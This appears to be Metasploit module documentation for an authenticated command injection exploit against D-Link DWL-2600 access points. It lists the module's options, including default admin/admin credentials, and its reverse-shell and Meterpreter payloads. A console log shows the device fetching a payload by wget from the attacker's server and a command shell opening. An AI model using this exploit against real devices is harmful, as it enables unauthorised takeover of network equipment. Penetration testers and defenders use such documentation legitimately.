# DLINK DWL-2600 Authenticated Command Injection

## Overview
DLINK DWL-2600 WiFi Access Points contain an authenticated command injection vulnerability.  This vulnerability was originally discovered by RAKI BEN HAMOUDA and posted to exploit db here: [https://www.exploit-db.com/exploits/46841](https://www.exploit-db.com/exploits/46841). Original testing was performed against firmware version `4.2.0.15` though other versions are likely affected.

## Options
### HttpUsername
Defaults to admin, this is the username that is used to authenticate to the device
### HttpPassword
Defaults to admin, this is the password that is used to authenticate to the device
### DOWNHOST
Alternative host to request MIPS payload from.
### DOWNFILE
File name to download - defaults to a random value.
### HTTP_DELAY
Time that the HTTP Server will wait for the ELF payload request.

In addition you will probably want to set `LHOST` and `SRVHOST`.

## Payloads
```
msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > show payloads

Compatible Payloads
===================

   #   Name                                    Disclosure Date  Rank    Check  Description
   -   ----                                    ---------------  ----    -----  -----------
   0   generic/custom                                           normal  No     Custom Payload
   1   generic/shell_bind_tcp                                   normal  No     Generic Command Shell, Bind TCP Inline
   2   generic/shell_reverse_tcp                                normal  No     Generic Command Shell, Reverse TCP Inline
   3   linux/mipsle/exec                                        normal  No     Linux Execute Command
   4   linux/mipsle/meterpreter/reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Stager
   5   linux/mipsle/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   6   linux/mipsle/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   7   linux/mipsle/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   8   linux/mipsle/reboot                                      normal  No     Linux Reboot
   9   linux/mipsle/shell/reverse_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   10  linux/mipsle/shell_bind_tcp                              normal  No     Linux Command Shell, Bind TCP Inline
   11  linux/mipsle/shell_reverse_tcp                           normal  No     Linux Command Shell, Reverse TCP Inline

```

## Scenarios
```
msf5 exploit(linux/http/dlink_dwl_2600_command_injection) > exploit

[*] Started reverse TCP handler on 192.168.0.101:4444 
[*] 192.168.0.100:80 - Trying to login with admin / admin
[+] 192.168.0.100:80 - Successful login admin/admin
[+] 192.168.0.100:80 - Received Auth token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
[*] Using URL: http://0.0.0.0:8080/mnHnGuZ0euTGyf5
[*] Local IP: http://192.168.0.101:8080/mnHnGuZ0euTGyf5
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
[*] Client 192.168.0.100 (Wget) requested /mnHnGuZ0euTGyf5
[*] Sending payload to 192.168.0.100 (Wget)
[*] Command Stager progress -  54.24% done (64/118 bytes)
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
[*] Command Stager progress -  72.88% done (86/118 bytes)
[*] Sending CGI payload using token: SAZxUXJsuDwQDVhqLayWvGZNlWDIODhi
[*] Command shell session 3 opened (192.168.0.101:4444 -> 192.168.0.100:33318) at 2020-03-26 20:10:26 -0500
[*] Server stopped.
```
